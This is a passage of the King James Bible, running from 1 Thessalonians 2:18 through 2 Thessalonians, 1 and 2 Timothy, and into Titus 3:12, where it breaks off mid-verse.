+again; but Satan hindered us. + +2:19 For what is our hope, or joy, or crown of rejoicing? Are not even +ye in the presence of our Lord Jesus Christ at his coming? 2:20 For +ye are our glory and joy. + +3:1 Wherefore when we could no longer forbear, we thought it good to +be left at Athens alone; 3:2 And sent Timotheus, our brother, and +minister of God, and our fellowlabourer in the gospel of Christ, to +establish you, and to comfort you concerning your faith: 3:3 That no +man should be moved by these afflictions: for yourselves know that we +are appointed thereunto. + +3:4 For verily, when we were with you, we told you before that we +should suffer tribulation; even as it came to pass, and ye know. + +3:5 For this cause, when I could no longer forbear, I sent to know +your faith, lest by some means the tempter have tempted you, and our +labour be in vain. + +3:6 But now when Timotheus came from you unto us, and brought us good +tidings of your faith and charity, and that ye have good remembrance +of us always, desiring greatly to see us, as we also to see you: 3:7 +Therefore, brethren, we were comforted over you in all our affliction +and distress by your faith: 3:8 For now we live, if ye stand fast in +the Lord. + +3:9 For what thanks can we render to God again for you, for all the +joy wherewith we joy for your sakes before our God; 3:10 Night and day +praying exceedingly that we might see your face, and might perfect +that which is lacking in your faith? 3:11 Now God himself and our +Father, and our Lord Jesus Christ, direct our way unto you. + +3:12 And the Lord make you to increase and abound in love one toward +another, and toward all men, even as we do toward you: 3:13 To the end +he may stablish your hearts unblameable in holiness before God, even +our Father, at the coming of our Lord Jesus Christ with all his +saints. + +4:1 Furthermore then we beseech you, brethren, and exhort you by the +Lord Jesus, that as ye have received of us how ye ought to walk and to +please God, so ye would abound more and more. + +4:2 For ye know what commandments we gave you by the Lord Jesus. + +4:3 For this is the will of God, even your sanctification, that ye +should abstain from fornication: 4:4 That every one of you should know +how to possess his vessel in sanctification and honour; 4:5 Not in the +lust of concupiscence, even as the Gentiles which know not God: 4:6 +That no man go beyond and defraud his brother in any matter: because +that the Lord is the avenger of all such, as we also have forewarned +you and testified. + +4:7 For God hath not called us unto uncleanness, but unto holiness. + +4:8 He therefore that despiseth, despiseth not man, but God, who hath +also given unto us his holy Spirit. + +4:9 But as touching brotherly love ye need not that I write unto you: +for ye yourselves are taught of God to love one another. + +4:10 And indeed ye do it toward all the brethren which are in all +Macedonia: but we beseech you, brethren, that ye increase more and +more; 4:11 And that ye study to be quiet, and to do your own business, +and to work with your own hands, as we commanded you; 4:12 That ye may +walk honestly toward them that are without, and that ye may have lack +of nothing. + +4:13 But I would not have you to be ignorant, brethren, concerning +them which are asleep, that ye sorrow not, even as others which have +no hope. + +4:14 For if we believe that Jesus died and rose again, even so them +also which sleep in Jesus will God bring with him. + +4:15 For this we say unto you by the word of the Lord, that we which +are alive and remain unto the coming of the Lord shall not prevent +them which are asleep. + +4:16 For the Lord himself shall descend from heaven with a shout, with +the voice of the archangel, and with the trump of God: and the dead in +Christ shall rise first: 4:17 Then we which are alive and remain shall +be caught up together with them in the clouds, to meet the Lord in the +air: and so shall we ever be with the Lord. + +4:18 Wherefore comfort one another with these words. + +5:1 But of the times and the seasons, brethren, ye have no need that I +write unto you. + +5:2 For yourselves know perfectly that the day of the Lord so cometh +as a thief in the night. + +5:3 For when they shall say, Peace and safety; then sudden destruction +cometh upon them, as travail upon a woman with child; and they shall +not escape. + +5:4 But ye, brethren, are not in darkness, that that day should +overtake you as a thief. + +5:5 Ye are all the children of light, and the children of the day: we +are not of the night, nor of darkness. + +5:6 Therefore let us not sleep, as do others; but let us watch and be +sober. + +5:7 For they that sleep sleep in the night; and they that be drunken +are drunken in the night. + +5:8 But let us, who are of the day, be sober, putting on the +breastplate of faith and love; and for an helmet, the hope of +salvation. + +5:9 For God hath not appointed us to wrath, but to obtain salvation by +our Lord Jesus Christ, 5:10 Who died for us, that, whether we wake or +sleep, we should live together with him. + +5:11 Wherefore comfort yourselves together, and edify one another, +even as also ye do. + +5:12 And we beseech you, brethren, to know them which labour among +you, and are over you in the Lord, and admonish you; 5:13 And to +esteem them very highly in love for their work's sake. And be at peace +among yourselves. + +5:14 Now we exhort you, brethren, warn them that are unruly, comfort +the feebleminded, support the weak, be patient toward all men. + +5:15 See that none render evil for evil unto any man; but ever follow +that which is good, both among yourselves, and to all men. + +5:16 Rejoice evermore. + +5:17 Pray without ceasing. + +5:18 In every thing give thanks: for this is the will of God in Christ +Jesus concerning you. + +5:19 Quench not the Spirit. + +5:20 Despise not prophesyings. + +5:21 Prove all things; hold fast that which is good. + +5:22 Abstain from all appearance of evil. + +5:23 And the very God of peace sanctify you wholly; and I pray God +your whole spirit and soul and body be preserved blameless unto the +coming of our Lord Jesus Christ. + +5:24 Faithful is he that calleth you, who also will do it. + +5:25 Brethren, pray for us. + +5:26 Greet all the brethren with an holy kiss. + +5:27 I charge you by the Lord that this epistle be read unto all the +holy brethren. + +5:28 The grace of our Lord Jesus Christ be with you. Amen. + + + + +The Second Epistle of Paul the Apostle to the Thessalonians + + +1:1 Paul, and Silvanus, and Timotheus, unto the church of the +Thessalonians in God our Father and the Lord Jesus Christ: 1:2 Grace +unto you, and peace, from God our Father and the Lord Jesus Christ. + +1:3 We are bound to thank God always for you, brethren, as it is meet, +because that your faith groweth exceedingly, and the charity of every +one of you all toward each other aboundeth; 1:4 So that we ourselves +glory in you in the churches of God for your patience and faith in all +your persecutions and tribulations that ye endure: 1:5 Which is a +manifest token of the righteous judgment of God, that ye may be +counted worthy of the kingdom of God, for which ye also suffer: 1:6 +Seeing it is a righteous thing with God to recompense tribulation to +them that trouble you; 1:7 And to you who are troubled rest with us, +when the Lord Jesus shall be revealed from heaven with his mighty +angels, 1:8 In flaming fire taking vengeance on them that know not +God, and that obey not the gospel of our Lord Jesus Christ: 1:9 Who +shall be punished with everlasting destruction from the presence of +the Lord, and from the glory of his power; 1:10 When he shall come to +be glorified in his saints, and to be admired in all them that believe +(because our testimony among you was believed) in that day. + +1:11 Wherefore also we pray always for you, that our God would count +you worthy of this calling, and fulfil all the good pleasure of his +goodness, and the work of faith with power: 1:12 That the name of our +Lord Jesus Christ may be glorified in you, and ye in him, according to +the grace of our God and the Lord Jesus Christ. + +2:1 Now we beseech you, brethren, by the coming of our Lord Jesus +Christ, and by our gathering together unto him, 2:2 That ye be not +soon shaken in mind, or be troubled, neither by spirit, nor by word, +nor by letter as from us, as that the day of Christ is at hand. + +2:3 Let no man deceive you by any means: for that day shall not come, +except there come a falling away first, and that man of sin be +revealed, the son of perdition; 2:4 Who opposeth and exalteth himself +above all that is called God, or that is worshipped; so that he as God +sitteth in the temple of God, shewing himself that he is God. + +2:5 Remember ye not, that, when I was yet with you, I told you these +things? 2:6 And now ye know what withholdeth that he might be +revealed in his time. + +2:7 For the mystery of iniquity doth already work: only he who now +letteth will let, until he be taken out of the way. + +2:8 And then shall that Wicked be revealed, whom the Lord shall +consume with the spirit of his mouth, and shall destroy with the +brightness of his coming: 2:9 Even him, whose coming is after the +working of Satan with all power and signs and lying wonders, 2:10 And +with all deceivableness of unrighteousness in them that perish; +because they received not the love of the truth, that they might be +saved. + +2:11 And for this cause God shall send them strong delusion, that they +should believe a lie: 2:12 That they all might be damned who believed +not the truth, but had pleasure in unrighteousness. + +2:13 But we are bound to give thanks alway to God for you, brethren +beloved of the Lord, because God hath from the beginning chosen you to +salvation through sanctification of the Spirit and belief of the +truth: 2:14 Whereunto he called you by our gospel, to the obtaining of +the glory of our Lord Jesus Christ. + +2:15 Therefore, brethren, stand fast, and hold the traditions which ye +have been taught, whether by word, or our epistle. + +2:16 Now our Lord Jesus Christ himself, and God, even our Father, +which hath loved us, and hath given us everlasting consolation and +good hope through grace, 2:17 Comfort your hearts, and stablish you in +every good word and work. + +3:1 Finally, brethren, pray for us, that the word of the Lord may have +free course, and be glorified, even as it is with you: 3:2 And that we +may be delivered from unreasonable and wicked men: for all men have +not faith. + +3:3 But the Lord is faithful, who shall stablish you, and keep you +from evil. + +3:4 And we have confidence in the Lord touching you, that ye both do +and will do the things which we command you. + +3:5 And the Lord direct your hearts into the love of God, and into the +patient waiting for Christ. + +3:6 Now we command you, brethren, in the name of our Lord Jesus +Christ, that ye withdraw yourselves from every brother that walketh +disorderly, and not after the tradition which he received of us. + +3:7 For yourselves know how ye ought to follow us: for we behaved not +ourselves disorderly among you; 3:8 Neither did we eat any man's bread +for nought; but wrought with labour and travail night and day, that we +might not be chargeable to any of you: 3:9 Not because we have not +power, but to make ourselves an ensample unto you to follow us. + +3:10 For even when we were with you, this we commanded you, that if +any would not work, neither should he eat. + +3:11 For we hear that there are some which walk among you disorderly, +working not at all, but are busybodies. + +3:12 Now them that are such we command and exhort by our Lord Jesus +Christ, that with quietness they work, and eat their own bread. + +3:13 But ye, brethren, be not weary in well doing. + +3:14 And if any man obey not our word by this epistle, note that man, +and have no company with him, that he may be ashamed. + +3:15 Yet count him not as an enemy, but admonish him as a brother. + +3:16 Now the Lord of peace himself give you peace always by all means. +The Lord be with you all. + +3:17 The salutation of Paul with mine own hand, which is the token in +every epistle: so I write. + +3:18 The grace of our Lord Jesus Christ be with you all. Amen. + + + + +The First Epistle of Paul the Apostle to Timothy + + +1:1 Paul, an apostle of Jesus Christ by the commandment of God our +Saviour, and Lord Jesus Christ, which is our hope; 1:2 Unto Timothy, +my own son in the faith: Grace, mercy, and peace, from God our Father +and Jesus Christ our Lord. + +1:3 As I besought thee to abide still at Ephesus, when I went into +Macedonia, that thou mightest charge some that they teach no other +doctrine, 1:4 Neither give heed to fables and endless genealogies, +which minister questions, rather than godly edifying which is in +faith: so do. + +1:5 Now the end of the commandment is charity out of a pure heart, and +of a good conscience, and of faith unfeigned: 1:6 From which some +having swerved have turned aside unto vain jangling; 1:7 Desiring to +be teachers of the law; understanding neither what they say, nor +whereof they affirm. + +1:8 But we know that the law is good, if a man use it lawfully; 1:9 +Knowing this, that the law is not made for a righteous man, but for +the lawless and disobedient, for the ungodly and for sinners, for +unholy and profane, for murderers of fathers and murderers of mothers, +for manslayers, 1:10 For whoremongers, for them that defile themselves +with mankind, for menstealers, for liars, for perjured persons, and if +there be any other thing that is contrary to sound doctrine; 1:11 +According to the glorious gospel of the blessed God, which was +committed to my trust. + +1:12 And I thank Christ Jesus our Lord, who hath enabled me, for that +he counted me faithful, putting me into the ministry; 1:13 Who was +before a blasphemer, and a persecutor, and injurious: but I obtained +mercy, because I did it ignorantly in unbelief. + +1:14 And the grace of our Lord was exceeding abundant with faith and +love which is in Christ Jesus. + +1:15 This is a faithful saying, and worthy of all acceptation, that +Christ Jesus came into the world to save sinners; of whom I am chief. + +1:16 Howbeit for this cause I obtained mercy, that in me first Jesus +Christ might shew forth all longsuffering, for a pattern to them which +should hereafter believe on him to life everlasting. + +1:17 Now unto the King eternal, immortal, invisible, the only wise +God, be honour and glory for ever and ever. Amen. + +1:18 This charge I commit unto thee, son Timothy, according to the +prophecies which went before on thee, that thou by them mightest war a +good warfare; 1:19 Holding faith, and a good conscience; which some +having put away concerning faith have made shipwreck: 1:20 Of whom is +Hymenaeus and Alexander; whom I have delivered unto Satan, that they +may learn not to blaspheme. + +2:1 I exhort therefore, that, first of all, supplications, prayers, +intercessions, and giving of thanks, be made for all men; 2:2 For +kings, and for all that are in authority; that we may lead a quiet and +peaceable life in all godliness and honesty. + +2:3 For this is good and acceptable in the sight of God our Saviour; +2:4 Who will have all men to be saved, and to come unto the knowledge +of the truth. + +2:5 For there is one God, and one mediator between God and men, the +man Christ Jesus; 2:6 Who gave himself a ransom for all, to be +testified in due time. + +2:7 Whereunto I am ordained a preacher, and an apostle, (I speak the +truth in Christ, and lie not;) a teacher of the Gentiles in faith and +verity. + +2:8 I will therefore that men pray every where, lifting up holy hands, +without wrath and doubting. + +2:9 In like manner also, that women adorn themselves in modest +apparel, with shamefacedness and sobriety; not with broided hair, or +gold, or pearls, or costly array; 2:10 But (which becometh women +professing godliness) with good works. + +2:11 Let the woman learn in silence with all subjection. + +2:12 But I suffer not a woman to teach, nor to usurp authority over +the man, but to be in silence. + +2:13 For Adam was first formed, then Eve. + +2:14 And Adam was not deceived, but the woman being deceived was in +the transgression. + +2:15 Notwithstanding she shall be saved in childbearing, if they +continue in faith and charity and holiness with sobriety. + +3:1 This is a true saying, If a man desire the office of a bishop, he +desireth a good work. + +3:2 A bishop then must be blameless, the husband of one wife, +vigilant, sober, of good behaviour, given to hospitality, apt to +teach; 3:3 Not given to wine, no striker, not greedy of filthy lucre; +but patient, not a brawler, not covetous; 3:4 One that ruleth well his +own house, having his children in subjection with all gravity; 3:5 +(For if a man know not how to rule his own house, how shall he take +care of the church of God?) 3:6 Not a novice, lest being lifted up +with pride he fall into the condemnation of the devil. + +3:7 Moreover he must have a good report of them which are without; +lest he fall into reproach and the snare of the devil. + +3:8 Likewise must the deacons be grave, not doubletongued, not given +to much wine, not greedy of filthy lucre; 3:9 Holding the mystery of +the faith in a pure conscience. + +3:10 And let these also first be proved; then let them use the office +of a deacon, being found blameless. + +3:11 Even so must their wives be grave, not slanderers, sober, +faithful in all things. + +3:12 Let the deacons be the husbands of one wife, ruling their +children and their own houses well. + +3:13 For they that have used the office of a deacon well purchase to +themselves a good degree, and great boldness in the faith which is in +Christ Jesus. + +3:14 These things write I unto thee, hoping to come unto thee shortly: +3:15 But if I tarry long, that thou mayest know how thou oughtest to +behave thyself in the house of God, which is the church of the living +God, the pillar and ground of the truth. + +3:16 And without controversy great is the mystery of godliness: God +was manifest in the flesh, justified in the Spirit, seen of angels, +preached unto the Gentiles, believed on in the world, received up into +glory. + +4:1 Now the Spirit speaketh expressly, that in the latter times some +shall depart from the faith, giving heed to seducing spirits, and +doctrines of devils; 4:2 Speaking lies in hypocrisy; having their +conscience seared with a hot iron; 4:3 Forbidding to marry, and +commanding to abstain from meats, which God hath created to be +received with thanksgiving of them which believe and know the truth. + +4:4 For every creature of God is good, and nothing to be refused, if +it be received with thanksgiving: 4:5 For it is sanctified by the word +of God and prayer. + +4:6 If thou put the brethren in remembrance of these things, thou +shalt be a good minister of Jesus Christ, nourished up in the words of +faith and of good doctrine, whereunto thou hast attained. + +4:7 But refuse profane and old wives' fables, and exercise thyself +rather unto godliness. + +4:8 For bodily exercise profiteth little: but godliness is profitable +unto all things, having promise of the life that now is, and of that +which is to come. + +4:9 This is a faithful saying and worthy of all acceptation. + +4:10 For therefore we both labour and suffer reproach, because we +trust in the living God, who is the Saviour of all men, specially of +those that believe. + +4:11 These things command and teach. + +4:12 Let no man despise thy youth; but be thou an example of the +believers, in word, in conversation, in charity, in spirit, in faith, +in purity. + +4:13 Till I come, give attendance to reading, to exhortation, to +doctrine. + +4:14 Neglect not the gift that is in thee, which was given thee by +prophecy, with the laying on of the hands of the presbytery. + +4:15 Meditate upon these things; give thyself wholly to them; that thy +profiting may appear to all. + +4:16 Take heed unto thyself, and unto the doctrine; continue in them: +for in doing this thou shalt both save thyself, and them that hear +thee. + +5:1 Rebuke not an elder, but intreat him as a father; and the younger +men as brethren; 5:2 The elder women as mothers; the younger as +sisters, with all purity. + +5:3 Honour widows that are widows indeed. + +5:4 But if any widow have children or nephews, let them learn first to +shew piety at home, and to requite their parents: for that is good and +acceptable before God. + +5:5 Now she that is a widow indeed, and desolate, trusteth in God, and +continueth in supplications and prayers night and day. + +5:6 But she that liveth in pleasure is dead while she liveth. + +5:7 And these things give in charge, that they may be blameless. + +5:8 But if any provide not for his own, and specially for those of his +own house, he hath denied the faith, and is worse than an infidel. + +5:9 Let not a widow be taken into the number under threescore years +old, having been the wife of one man. + +5:10 Well reported of for good works; if she have brought up children, +if she have lodged strangers, if she have washed the saints' feet, if +she have relieved the afflicted, if she have diligently followed every +good work. + +5:11 But the younger widows refuse: for when they have begun to wax +wanton against Christ, they will marry; 5:12 Having damnation, because +they have cast off their first faith. + +5:13 And withal they learn to be idle, wandering about from house to +house; and not only idle, but tattlers also and busybodies, speaking +things which they ought not. + +5:14 I will therefore that the younger women marry, bear children, +guide the house, give none occasion to the adversary to speak +reproachfully. + +5:15 For some are already turned aside after Satan. + +5:16 If any man or woman that believeth have widows, let them relieve +them, and let not the church be charged; that it may relieve them that +are widows indeed. + +5:17 Let the elders that rule well be counted worthy of double honour, +especially they who labour in the word and doctrine. + +5:18 For the scripture saith, Thou shalt not muzzle the ox that +treadeth out the corn. And, The labourer is worthy of his reward. + +5:19 Against an elder receive not an accusation, but before two or +three witnesses. + +5:20 Them that sin rebuke before all, that others also may fear. + +5:21 I charge thee before God, and the Lord Jesus Christ, and the +elect angels, that thou observe these things without preferring one +before another, doing nothing by partiality. + +5:22 Lay hands suddenly on no man, neither be partaker of other men's +sins: keep thyself pure. + +5:23 Drink no longer water, but use a little wine for thy stomach's +sake and thine often infirmities. + +5:24 Some men's sins are open beforehand, going before to judgment; +and some men they follow after. + +5:25 Likewise also the good works of some are manifest beforehand; and +they that are otherwise cannot be hid. + +6:1 Let as many servants as are under the yoke count their own masters +worthy of all honour, that the name of God and his doctrine be not +blasphemed. + +6:2 And they that have believing masters, let them not despise them, +because they are brethren; but rather do them service, because they +are faithful and beloved, partakers of the benefit. These things teach +and exhort. + +6:3 If any man teach otherwise, and consent not to wholesome words, +even the words of our Lord Jesus Christ, and to the doctrine which is +according to godliness; 6:4 He is proud, knowing nothing, but doting +about questions and strifes of words, whereof cometh envy, strife, +railings, evil surmisings, 6:5 Perverse disputings of men of corrupt +minds, and destitute of the truth, supposing that gain is godliness: +from such withdraw thyself. + +6:6 But godliness with contentment is great gain. + +6:7 For we brought nothing into this world, and it is certain we can +carry nothing out. + +6:8 And having food and raiment let us be therewith content. + +6:9 But they that will be rich fall into temptation and a snare, and +into many foolish and hurtful lusts, which drown men in destruction +and perdition. + +6:10 For the love of money is the root of all evil: which while some +coveted after, they have erred from the faith, and pierced themselves +through with many sorrows. + +6:11 But thou, O man of God, flee these things; and follow after +righteousness, godliness, faith, love, patience, meekness. + +6:12 Fight the good fight of faith, lay hold on eternal life, +whereunto thou art also called, and hast professed a good profession +before many witnesses. + +6:13 I give thee charge in the sight of God, who quickeneth all +things, and before Christ Jesus, who before Pontius Pilate witnessed a +good confession; 6:14 That thou keep this commandment without spot, +unrebukable, until the appearing of our Lord Jesus Christ: 6:15 Which +in his times he shall shew, who is the blessed and only Potentate, the +King of kings, and Lord of lords; 6:16 Who only hath immortality, +dwelling in the light which no man can approach unto; whom no man hath +seen, nor can see: to whom be honour and power everlasting. Amen. + +6:17 Charge them that are rich in this world, that they be not +highminded, nor trust in uncertain riches, but in the living God, who +giveth us richly all things to enjoy; 6:18 That they do good, that +they be rich in good works, ready to distribute, willing to +communicate; 6:19 Laying up in store for themselves a good foundation +against the time to come, that they may lay hold on eternal life. + +6:20 O Timothy, keep that which is committed to thy trust, avoiding +profane and vain babblings, and oppositions of science falsely so +called: 6:21 Which some professing have erred concerning the faith. +Grace be with thee. Amen. + + + + +The Second Epistle of Paul the Apostle to Timothy + + +1:1 Paul, an apostle of Jesus Christ by the will of God, according to +the promise of life which is in Christ Jesus, 1:2 To Timothy, +my dearly beloved son: Grace, mercy, and peace, from God the Father +and Christ Jesus our Lord. + +1:3 I thank God, whom I serve from my forefathers with pure +conscience, that without ceasing I have remembrance of thee in my +prayers night and day; 1:4 Greatly desiring to see thee, being mindful +of thy tears, that I may be filled with joy; 1:5 When I call to +remembrance the unfeigned faith that is in thee, which dwelt first in +thy grandmother Lois, and thy mother Eunice; and I am persuaded that +in thee also. + +1:6 Wherefore I put thee in remembrance that thou stir up the gift of +God, which is in thee by the putting on of my hands. + +1:7 For God hath not given us the spirit of fear; but of power, and of +love, and of a sound mind. + +1:8 Be not thou therefore ashamed of the testimony of our Lord, nor of +me his prisoner: but be thou partaker of the afflictions of the gospel +according to the power of God; 1:9 Who hath saved us, and called us +with an holy calling, not according to our works, but according to his +own purpose and grace, which was given us in Christ Jesus before the +world began, 1:10 But is now made manifest by the appearing of our +Saviour Jesus Christ, who hath abolished death, and hath brought life +and immortality to light through the gospel: 1:11 Whereunto I am +appointed a preacher, and an apostle, and a teacher of the Gentiles. + +1:12 For the which cause I also suffer these things: nevertheless I am +not ashamed: for I know whom I have believed, and am persuaded that he +is able to keep that which I have committed unto him against that day. + +1:13 Hold fast the form of sound words, which thou hast heard of me, +in faith and love which is in Christ Jesus. + +1:14 That good thing which was committed unto thee keep by the Holy +Ghost which dwelleth in us. + +1:15 This thou knowest, that all they which are in Asia be turned away +from me; of whom are Phygellus and Hermogenes. + +1:16 The Lord give mercy unto the house of Onesiphorus; for he oft +refreshed me, and was not ashamed of my chain: 1:17 But, when he was +in Rome, he sought me out very diligently, and found me. + +1:18 The Lord grant unto him that he may find mercy of the Lord in +that day: and in how many things he ministered unto me at Ephesus, +thou knowest very well. + +2:1 Thou therefore, my son, be strong in the grace that is in Christ +Jesus. + +2:2 And the things that thou hast heard of me among many witnesses, +the same commit thou to faithful men, who shall be able to teach +others also. + +2:3 Thou therefore endure hardness, as a good soldier of Jesus Christ. + +2:4 No man that warreth entangleth himself with the affairs of this +life; that he may please him who hath chosen him to be a soldier. + +2:5 And if a man also strive for masteries, yet is he not crowned, +except he strive lawfully. + +2:6 The husbandman that laboureth must be first partaker of the +fruits. + +2:7 Consider what I say; and the Lord give thee understanding in all +things. + +2:8 Remember that Jesus Christ of the seed of David was raised from +the dead according to my gospel: 2:9 Wherein I suffer trouble, as an +evil doer, even unto bonds; but the word of God is not bound. + +2:10 Therefore I endure all things for the elect's sakes, that they +may also obtain the salvation which is in Christ Jesus with eternal +glory. + +2:11 It is a faithful saying: For if we be dead with him, we shall +also live with him: 2:12 If we suffer, we shall also reign with him: +if we deny him, he also will deny us: 2:13 If we believe not, yet he +abideth faithful: he cannot deny himself. + +2:14 Of these things put them in remembrance, charging them before the +Lord that they strive not about words to no profit, but to the +subverting of the hearers. + +2:15 Study to shew thyself approved unto God, a workman that needeth +not to be ashamed, rightly dividing the word of truth. + +2:16 But shun profane and vain babblings: for they will increase unto +more ungodliness. + +2:17 And their word will eat as doth a canker: of whom is Hymenaeus +and Philetus; 2:18 Who concerning the truth have erred, saying that +the resurrection is past already; and overthrow the faith of some. + +2:19 Nevertheless the foundation of God standeth sure, having this +seal, The Lord knoweth them that are his. And, Let every one that +nameth the name of Christ depart from iniquity. + +2:20 But in a great house there are not only vessels of gold and of +silver, but also of wood and of earth; and some to honour, and some to +dishonour. + +2:21 If a man therefore purge himself from these, he shall be a vessel +unto honour, sanctified, and meet for the master's use, and prepared +unto every good work. + +2:22 Flee also youthful lusts: but follow righteousness, faith, +charity, peace, with them that call on the Lord out of a pure heart. + +2:23 But foolish and unlearned questions avoid, knowing that they do +gender strifes. + +2:24 And the servant of the Lord must not strive; but be gentle unto +all men, apt to teach, patient, 2:25 In meekness instructing those +that oppose themselves; if God peradventure will give them repentance +to the acknowledging of the truth; 2:26 And that they may recover +themselves out of the snare of the devil, who are taken captive by him +at his will. + +3:1 This know also, that in the last days perilous times shall come. + +3:2 For men shall be lovers of their own selves, covetous, boasters, +proud, blasphemers, disobedient to parents, unthankful, unholy, 3:3 +Without natural affection, trucebreakers, false accusers, incontinent, +fierce, despisers of those that are good, 3:4 Traitors, heady, +highminded, lovers of pleasures more than lovers of God; 3:5 Having a +form of godliness, but denying the power thereof: from such turn away. + +3:6 For of this sort are they which creep into houses, and lead +captive silly women laden with sins, led away with divers lusts, 3:7 +Ever learning, and never able to come to the knowledge of the truth. + +3:8 Now as Jannes and Jambres withstood Moses, so do these also resist +the truth: men of corrupt minds, reprobate concerning the faith. + +3:9 But they shall proceed no further: for their folly shall be +manifest unto all men, as their's also was. + +3:10 But thou hast fully known my doctrine, manner of life, purpose, +faith, longsuffering, charity, patience, 3:11 Persecutions, +afflictions, which came unto me at Antioch, at Iconium, at Lystra; +what persecutions I endured: but out of them all the Lord delivered +me. + +3:12 Yea, and all that will live godly in Christ Jesus shall suffer +persecution. + +3:13 But evil men and seducers shall wax worse and worse, deceiving, +and being deceived. + +3:14 But continue thou in the things which thou hast learned and hast +been assured of, knowing of whom thou hast learned them; 3:15 And that +from a child thou hast known the holy scriptures, which are able to +make thee wise unto salvation through faith which is in Christ Jesus. + +3:16 All scripture is given by inspiration of God, and is profitable +for doctrine, for reproof, for correction, for instruction in +righteousness: 3:17 That the man of God may be perfect, throughly +furnished unto all good works. + +4:1 I charge thee therefore before God, and the Lord Jesus Christ, who +shall judge the quick and the dead at his appearing and his kingdom; +4:2 Preach the word; be instant in season, out of season; reprove, +rebuke, exhort with all longsuffering and doctrine. + +4:3 For the time will come when they will not endure sound doctrine; +but after their own lusts shall they heap to themselves teachers, +having itching ears; 4:4 And they shall turn away their ears from the +truth, and shall be turned unto fables. + +4:5 But watch thou in all things, endure afflictions, do the work of +an evangelist, make full proof of thy ministry. + +4:6 For I am now ready to be offered, and the time of my departure is +at hand. + +4:7 I have fought a good fight, I have finished my course, I have kept +the faith: 4:8 Henceforth there is laid up for me a crown of +righteousness, which the Lord, the righteous judge, shall give me at +that day: and not to me only, but unto all them also that love his +appearing. + +4:9 Do thy diligence to come shortly unto me: 4:10 For Demas hath +forsaken me, having loved this present world, and is departed unto +Thessalonica; Crescens to Galatia, Titus unto Dalmatia. + +4:11 Only Luke is with me. Take Mark, and bring him with thee: for he +is profitable to me for the ministry. + +4:12 And Tychicus have I sent to Ephesus. + +4:13 The cloke that I left at Troas with Carpus, when thou comest, +bring with thee, and the books, but especially the parchments. + +4:14 Alexander the coppersmith did me much evil: the Lord reward him +according to his works: 4:15 Of whom be thou ware also; for he hath +greatly withstood our words. + +4:16 At my first answer no man stood with me, but all men forsook me: +I pray God that it may not be laid to their charge. + +4:17 Notwithstanding the Lord stood with me, and strengthened me; that +by me the preaching might be fully known, and that all the Gentiles +might hear: and I was delivered out of the mouth of the lion. + +4:18 And the Lord shall deliver me from every evil work, and will +preserve me unto his heavenly kingdom: to whom be glory for ever and +ever. Amen. + +4:19 Salute Prisca and Aquila, and the household of Onesiphorus. + +4:20 Erastus abode at Corinth: but Trophimus have I left at Miletum +sick. + +4:21 Do thy diligence to come before winter. Eubulus greeteth thee, +and Pudens, and Linus, and Claudia, and all the brethren. + +4:22 The Lord Jesus Christ be with thy spirit. Grace be with you. +Amen. + + + + +The Epistle of Paul the Apostle to Titus + + +1:1 Paul, a servant of God, and an apostle of Jesus Christ, according +to the faith of God's elect, and the acknowledging of the truth which +is after godliness; 1:2 In hope of eternal life, which God, that +cannot lie, promised before the world began; 1:3 But hath in due times +manifested his word through preaching, which is committed unto me +according to the commandment of God our Saviour; 1:4 To Titus, mine +own son after the common faith: Grace, mercy, and peace, from God the +Father and the Lord Jesus Christ our Saviour. + +1:5 For this cause left I thee in Crete, that thou shouldest set in +order the things that are wanting, and ordain elders in every city, as +I had appointed thee: 1:6 If any be blameless, the husband of one +wife, having faithful children not accused of riot or unruly. + +1:7 For a bishop must be blameless, as the steward of God; not +selfwilled, not soon angry, not given to wine, no striker, not given +to filthy lucre; 1:8 But a lover of hospitality, a lover of good men, +sober, just, holy, temperate; 1:9 Holding fast the faithful word as he +hath been taught, that he may be able by sound doctrine both to exhort +and to convince the gainsayers. + +1:10 For there are many unruly and vain talkers and deceivers, +specially they of the circumcision: 1:11 Whose mouths must be stopped, +who subvert whole houses, teaching things which they ought not, for +filthy lucre's sake. + +1:12 One of themselves, even a prophet of their own, said, The +Cretians are alway liars, evil beasts, slow bellies. + +1:13 This witness is true. Wherefore rebuke them sharply, that they +may be sound in the faith; 1:14 Not giving heed to Jewish fables, and +commandments of men, that turn from the truth. + +1:15 Unto the pure all things are pure: but unto them that are defiled +and unbelieving is nothing pure; but even their mind and conscience is +defiled. + +1:16 They profess that they know God; but in works they deny him, +being abominable, and disobedient, and unto every good work reprobate. + +2:1 But speak thou the things which become sound doctrine: 2:2 That +the aged men be sober, grave, temperate, sound in faith, in charity, +in patience. + +2:3 The aged women likewise, that they be in behaviour as becometh +holiness, not false accusers, not given to much wine, teachers of good +things; 2:4 That they may teach the young women to be sober, to love +their husbands, to love their children, 2:5 To be discreet, chaste, +keepers at home, good, obedient to their own husbands, that the word +of God be not blasphemed. + +2:6 Young men likewise exhort to be sober minded. + +2:7 In all things shewing thyself a pattern of good works: in doctrine +shewing uncorruptness, gravity, sincerity, 2:8 Sound speech, that +cannot be condemned; that he that is of the contrary part may be +ashamed, having no evil thing to say of you. + +2:9 Exhort servants to be obedient unto their own masters, and to +please them well in all things; not answering again; 2:10 Not +purloining, but shewing all good fidelity; that they may adorn the +doctrine of God our Saviour in all things. + +2:11 For the grace of God that bringeth salvation hath appeared to all +men, 2:12 Teaching us that, denying ungodliness and worldly lusts, we +should live soberly, righteously, and godly, in this present world; +2:13 Looking for that blessed hope, and the glorious appearing of the +great God and our Saviour Jesus Christ; 2:14 Who gave himself for us, +that he might redeem us from all iniquity, and purify unto himself a +peculiar people, zealous of good works. + +2:15 These things speak, and exhort, and rebuke with all authority. +Let no man despise thee. + +3:1 Put them in mind to be subject to principalities and powers, to +obey magistrates, to be ready to every good work, 3:2 To speak evil of +no man, to be no brawlers, but gentle, shewing all meekness unto all +men. + +3:3 For we ourselves also were sometimes foolish, disobedient, +deceived, serving divers lusts and pleasures, living in malice and +envy, hateful, and hating one another. + +3:4 But after that the kindness and love of God our Saviour toward man +appeared, 3:5 Not by works of righteousness which we have done, but +according to his mercy he saved us, by the washing of regeneration, +and renewing of the Holy Ghost; 3:6 Which he shed on us abundantly +through Jesus Christ our Saviour; 3:7 That being justified by his +grace, we should be made heirs according to the hope of eternal life. + +3:8 This is a faithful saying, and these things I will that thou +affirm constantly, that they which have believed in God might be +careful to maintain good works. These things are good and profitable +unto men. + +3:9 But avoid foolish questions, and genealogies, and contentions, and +strivings about the law; for they are unprofitable and vain. + +3:10 A man that is an heretick after the first and second admonition +reject; 3:11 Knowing that he that is such is subverted, and sinneth, +being condemned of himself. + +3:12 When I shall send Artemas unto thee, or Tychicus, be diligent to +come unto me to Nicopolis: for I have determined there to 